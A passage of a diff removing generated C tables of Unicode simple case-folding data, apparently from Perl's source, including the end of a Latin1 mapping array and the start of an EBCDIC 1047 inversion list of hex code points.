- 0, - 0x2C65, - 0x23C, - 0, - 0x19A, - 0x2C66, - 0, - 0x242, - 0, - 0x180, - 0x289, - 0x28C, - 0x247, - 0, - 0x249, - 0, - 0x24B, - 0, - 0x24D, - 0, - 0x24F, - 0, - 0x3B9, - 0, - 0x371, - 0, - 0x373, - 0, - 0x377, - 0, - 0x3F3, - 0, - 0x3AC, - 0, - 0x3AD, - 0, - 0x3CC, - 0, - 0x3CD, - 0, - 0x3B1, - 0, - 0x3C3, - 0, - 0x3C3, - 0, - 0x3D7, - 0x3B2, - 0x3B8, - 0, - 0x3C6, - 0x3C0, - 0, - 0x3D9, - 0, - 0x3DB, - 0, - 0x3DD, - 0, - 0x3DF, - 0, - 0x3E1, - 0, - 0x3E3, - 0, - 0x3E5, - 0, - 0x3E7, - 0, - 0x3E9, - 0, - 0x3EB, - 0, - 0x3ED, - 0, - 0x3EF, - 0, - 0x3BA, - 0x3C1, - 0, - 0x3B8, - 0x3B5, - 0, - 0x3F8, - 0, - 0x3F2, - 0x3FB, - 0, - 0x37B, - 0x450, - 0x430, - 0, - 0x461, - 0, - 0x463, - 0, - 0x465, - 0, - 0x467, - 0, - 0x469, - 0, - 0x46B, - 0, - 0x46D, - 0, - 0x46F, - 0, - 0x471, - 0, - 0x473, - 0, - 0x475, - 0, - 0x477, - 0, - 0x479, - 0, - 0x47B, - 0, - 0x47D, - 0, - 0x47F, - 0, - 0x481, - 0, - 0x48B, - 0, - 0x48D, - 0, - 0x48F, - 0, - 0x491, - 0, - 0x493, - 0, - 0x495, - 0, - 0x497, - 0, - 0x499, - 0, - 0x49B, - 0, - 0x49D, - 0, - 0x49F, - 0, - 0x4A1, - 0, - 0x4A3, - 0, - 0x4A5, - 0, - 0x4A7, - 0, - 0x4A9, - 0, - 0x4AB, - 0, - 0x4AD, - 0, - 0x4AF, - 0, - 0x4B1, - 0, - 0x4B3, - 0, - 0x4B5, - 0, - 0x4B7, - 0, - 0x4B9, - 0, - 0x4BB, - 0, - 0x4BD, - 0, - 0x4BF, - 0, - 0x4CF, - 0x4C2, - 0, - 0x4C4, - 0, - 0x4C6, - 0, - 0x4C8, - 0, - 0x4CA, - 0, - 0x4CC, - 0, - 0x4CE, - 0, - 0x4D1, - 0, - 0x4D3, - 0, - 0x4D5, - 0, - 0x4D7, - 0, - 0x4D9, - 0, - 0x4DB, - 0, - 0x4DD, - 0, - 0x4DF, - 0, - 0x4E1, - 0, - 0x4E3, - 0, - 0x4E5, - 0, - 0x4E7, - 0, - 0x4E9, - 0, - 0x4EB, - 0, - 0x4ED, - 0, - 0x4EF, - 0, - 0x4F1, - 0, - 0x4F3, - 0, - 0x4F5, - 0, - 0x4F7, - 0, - 0x4F9, - 0, - 0x4FB, - 0, - 0x4FD, - 0, - 0x4FF, - 0, - 0x501, - 0, - 0x503, - 0, - 0x505, - 0, - 0x507, - 0, - 0x509, - 0, - 0x50B, - 0, - 0x50D, - 0, - 0x50F, - 0, - 0x511, - 0, - 0x513, - 0, - 0x515, - 0, - 0x517, - 0, - 0x519, - 0, - 0x51B, - 0, - 0x51D, - 0, - 0x51F, - 0, - 0x521, - 0, - 0x523, - 0, - 0x525, - 0, - 0x527, - 0, - 0x529, - 0, - 0x52B, - 0, - 0x52D, - 0, - 0x52F, - 0, - 0x561, - 0, - 0x2D00, - 0, - 0x2D27, - 0, - 0x2D2D, - 0, - 0x13F0, - 0, - 0x432, - 0x434, - 0x43E, - 0x441, - 0x442, - 0x44A, - 0x463, - 0xA64B, - 0, - 0x1E01, - 0, - 0x1E03, - 0, - 0x1E05, - 0, - 0x1E07, - 0, - 0x1E09, - 0, - 0x1E0B, - 0, - 0x1E0D, - 0, - 0x1E0F, - 0, - 0x1E11, - 0, - 0x1E13, - 0, - 0x1E15, - 0, - 0x1E17, - 0, - 0x1E19, - 0, - 0x1E1B, - 0, - 0x1E1D, - 0, - 0x1E1F, - 0, - 0x1E21, - 0, - 0x1E23, - 0, - 0x1E25, - 0, - 0x1E27, - 0, - 0x1E29, - 0, - 0x1E2B, - 0, - 0x1E2D, - 0, - 0x1E2F, - 0, - 0x1E31, - 0, - 0x1E33, - 0, - 0x1E35, - 0, - 0x1E37, - 0, - 0x1E39, - 0, - 0x1E3B, - 0, - 0x1E3D, - 0, - 0x1E3F, - 0, - 0x1E41, - 0, - 0x1E43, - 0, - 0x1E45, - 0, - 0x1E47, - 0, - 0x1E49, - 0, - 0x1E4B, - 0, - 0x1E4D, - 0, - 0x1E4F, - 0, - 0x1E51, - 0, - 0x1E53, - 0, - 0x1E55, - 0, - 0x1E57, - 0, - 0x1E59, - 0, - 0x1E5B, - 0, - 0x1E5D, - 0, - 0x1E5F, - 0, - 0x1E61, - 0, - 0x1E63, - 0, - 0x1E65, - 0, - 0x1E67, - 0, - 0x1E69, - 0, - 0x1E6B, - 0, - 0x1E6D, - 0, - 0x1E6F, - 0, - 0x1E71, - 0, - 0x1E73, - 0, - 0x1E75, - 0, - 0x1E77, - 0, - 0x1E79, - 0, - 0x1E7B, - 0, - 0x1E7D, - 0, - 0x1E7F, - 0, - 0x1E81, - 0, - 0x1E83, - 0, - 0x1E85, - 0, - 0x1E87, - 0, - 0x1E89, - 0, - 0x1E8B, - 0, - 0x1E8D, - 0, - 0x1E8F, - 0, - 0x1E91, - 0, - 0x1E93, - 0, - 0x1E95, - 0, - 0x1E61, - 0, - 0xDF, - 0, - 0x1EA1, - 0, - 0x1EA3, - 0, - 0x1EA5, - 0, - 0x1EA7, - 0, - 0x1EA9, - 0, - 0x1EAB, - 0, - 0x1EAD, - 0, - 0x1EAF, - 0, - 0x1EB1, - 0, - 0x1EB3, - 0, - 0x1EB5, - 0, - 0x1EB7, - 0, - 0x1EB9, - 0, - 0x1EBB, - 0, - 0x1EBD, - 0, - 0x1EBF, - 0, - 0x1EC1, - 0, - 0x1EC3, - 0, - 0x1EC5, - 0, - 0x1EC7, - 0, - 0x1EC9, - 0, - 0x1ECB, - 0, - 0x1ECD, - 0, - 0x1ECF, - 0, - 0x1ED1, - 0, - 0x1ED3, - 0, - 0x1ED5, - 0, - 0x1ED7, - 0, - 0x1ED9, - 0, - 0x1EDB, - 0, - 0x1EDD, - 0, - 0x1EDF, - 0, - 0x1EE1, - 0, - 0x1EE3, - 0, - 0x1EE5, - 0, - 0x1EE7, - 0, - 0x1EE9, - 0, - 0x1EEB, - 0, - 0x1EED, - 0, - 0x1EEF, - 0, - 0x1EF1, - 0, - 0x1EF3, - 0, - 0x1EF5, - 0, - 0x1EF7, - 0, - 0x1EF9, - 0, - 0x1EFB, - 0, - 0x1EFD, - 0, - 0x1EFF, - 0, - 0x1F00, - 0, - 0x1F10, - 0, - 0x1F20, - 0, - 0x1F30, - 0, - 0x1F40, - 0, - 0x1F51, - 0, - 0x1F53, - 0, - 0x1F55, - 0, - 0x1F57, - 0, - 0x1F60, - 0, - 0x1F80, - 0, - 0x1F90, - 0, - 0x1FA0, - 0, - 0x1FB0, - 0x1F70, - 0x1FB3, - 0, - 0x3B9, - 0, - 0x1F72, - 0x1FC3, - 0, - 0x1FD0, - 0x1F76, - 0, - 0x1FE0, - 0x1F7A, - 0x1FE5, - 0, - 0x1F78, - 0x1F7C, - 0x1FF3, - 0, - 0x3C9, - 0, - 0x6B, - 0xE5, - 0, - 0x214E, - 0, - 0x2170, - 0, - 0x2184, - 0, - 0x24D0, - 0, - 0x2C30, - 0, - 0x2C61, - 0, - 0x26B, - 0x1D7D, - 0x27D, - 0, - 0x2C68, - 0, - 0x2C6A, - 0, - 0x2C6C, - 0, - 0x251, - 0x271, - 0x250, - 0x252, - 0, - 0x2C73, - 0, - 0x2C76, - 0, - 0x23F, - 0x2C81, - 0, - 0x2C83, - 0, - 0x2C85, - 0, - 0x2C87, - 0, - 0x2C89, - 0, - 0x2C8B, - 0, - 0x2C8D, - 0, - 0x2C8F, - 0, - 0x2C91, - 0, - 0x2C93, - 0, - 0x2C95, - 0, - 0x2C97, - 0, - 0x2C99, - 0, - 0x2C9B, - 0, - 0x2C9D, - 0, - 0x2C9F, - 0, - 0x2CA1, - 0, - 0x2CA3, - 0, - 0x2CA5, - 0, - 0x2CA7, - 0, - 0x2CA9, - 0, - 0x2CAB, - 0, - 0x2CAD, - 0, - 0x2CAF, - 0, - 0x2CB1, - 0, - 0x2CB3, - 0, - 0x2CB5, - 0, - 0x2CB7, - 0, - 0x2CB9, - 0, - 0x2CBB, - 0, - 0x2CBD, - 0, - 0x2CBF, - 0, - 0x2CC1, - 0, - 0x2CC3, - 0, - 0x2CC5, - 0, - 0x2CC7, - 0, - 0x2CC9, - 0, - 0x2CCB, - 0, - 0x2CCD, - 0, - 0x2CCF, - 0, - 0x2CD1, - 0, - 0x2CD3, - 0, - 0x2CD5, - 0, - 0x2CD7, - 0, - 0x2CD9, - 0, - 0x2CDB, - 0, - 0x2CDD, - 0, - 0x2CDF, - 0, - 0x2CE1, - 0, - 0x2CE3, - 0, - 0x2CEC, - 0, - 0x2CEE, - 0, - 0x2CF3, - 0, - 0xA641, - 0, - 0xA643, - 0, - 0xA645, - 0, - 0xA647, - 0, - 0xA649, - 0, - 0xA64B, - 0, - 0xA64D, - 0, - 0xA64F, - 0, - 0xA651, - 0, - 0xA653, - 0, - 0xA655, - 0, - 0xA657, - 0, - 0xA659, - 0, - 0xA65B, - 0, - 0xA65D, - 0, - 0xA65F, - 0, - 0xA661, - 0, - 0xA663, - 0, - 0xA665, - 0, - 0xA667, - 0, - 0xA669, - 0, - 0xA66B, - 0, - 0xA66D, - 0, - 0xA681, - 0, - 0xA683, - 0, - 0xA685, - 0, - 0xA687, - 0, - 0xA689, - 0, - 0xA68B, - 0, - 0xA68D, - 0, - 0xA68F, - 0, - 0xA691, - 0, - 0xA693, - 0, - 0xA695, - 0, - 0xA697, - 0, - 0xA699, - 0, - 0xA69B, - 0, - 0xA723, - 0, - 0xA725, - 0, - 0xA727, - 0, - 0xA729, - 0, - 0xA72B, - 0, - 0xA72D, - 0, - 0xA72F, - 0, - 0xA733, - 0, - 0xA735, - 0, - 0xA737, - 0, - 0xA739, - 0, - 0xA73B, - 0, - 0xA73D, - 0, - 0xA73F, - 0, - 0xA741, - 0, - 0xA743, - 0, - 0xA745, - 0, - 0xA747, - 0, - 0xA749, - 0, - 0xA74B, - 0, - 0xA74D, - 0, - 0xA74F, - 0, - 0xA751, - 0, - 0xA753, - 0, - 0xA755, - 0, - 0xA757, - 0, - 0xA759, - 0, - 0xA75B, - 0, - 0xA75D, - 0, - 0xA75F, - 0, - 0xA761, - 0, - 0xA763, - 0, - 0xA765, - 0, - 0xA767, - 0, - 0xA769, - 0, - 0xA76B, - 0, - 0xA76D, - 0, - 0xA76F, - 0, - 0xA77A, - 0, - 0xA77C, - 0, - 0x1D79, - 0xA77F, - 0, - 0xA781, - 0, - 0xA783, - 0, - 0xA785, - 0, - 0xA787, - 0, - 0xA78C, - 0, - 0x265, - 0, - 0xA791, - 0, - 0xA793, - 0, - 0xA797, - 0, - 0xA799, - 0, - 0xA79B, - 0, - 0xA79D, - 0, - 0xA79F, - 0, - 0xA7A1, - 0, - 0xA7A3, - 0, - 0xA7A5, - 0, - 0xA7A7, - 0, - 0xA7A9, - 0, - 0x266, - 0x25C, - 0x261, - 0x26C, - 0x26A, - 0, - 0x29E, - 0x287, - 0x29D, - 0xAB53, - 0xA7B5, - 0, - 0xA7B7, - 0, - 0x13A0, - 0, - 0xFF41, - 0, - 0x10428, - 0, - 0x104D8, - 0, - 0x10CC0, - 0, - 0x118C0, - 0, - 0x1E922, - 0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV Simple_Case_Folding_invlist[] = { /* for EBCDIC 1047 */ - 1284, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xAC, - 0xAD, - 0xAE, - 0xAF, - 0xBA, - 0xBB, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x179, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x182, - 0x183, - 0x184, - 0x185, - 0x186, - 0x187, - 0x188, - 0x189, - 0x18B, - 0x18C, - 0x18E, - 0x18F, - 0x190, - 0x191, - 0x192, - 0x193, - 0x194, - 0x195, - 0x196, - 0x197, - 0x198, - 0x199, - 0x19C, - 0x19D, - 0x19E, - 0x19F, - 0x1A0, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A7, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1AF, - 0x1B0, - 0x1B1, - 0x1B3, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B8, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C6, - 0x1C7, - 0x1C8, - 0x1C9, - 0x1CA, - 0x1CB, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F7, - 0x1F8, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23B, - 0x23C, - 0x23D, - 0x23E, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x244, - 0x245, - 0x246, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x345, - 0x346, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x400, - 0x410, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C85, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9B, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB8, - 0x1FBA, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC8, - 0x1FCC, - 0x1FCD, - 0x1FD8, - 0x1FDA, - 0x1FDC, - 0x1FE8, - 0x1FEA, - 0x1FEC, - 0x1FED, - 0x1FF8, - 0x1FFA, - 0x1FFC, - 0x1FFD, - 0x2126, - 0x2127, - 0x212A, - 0x212B, - 0x212C, - 0x2132, - 0x2133, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C63, - 0x2C64, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C6E, - 0x2C6F, - 0x2C70, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C80, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 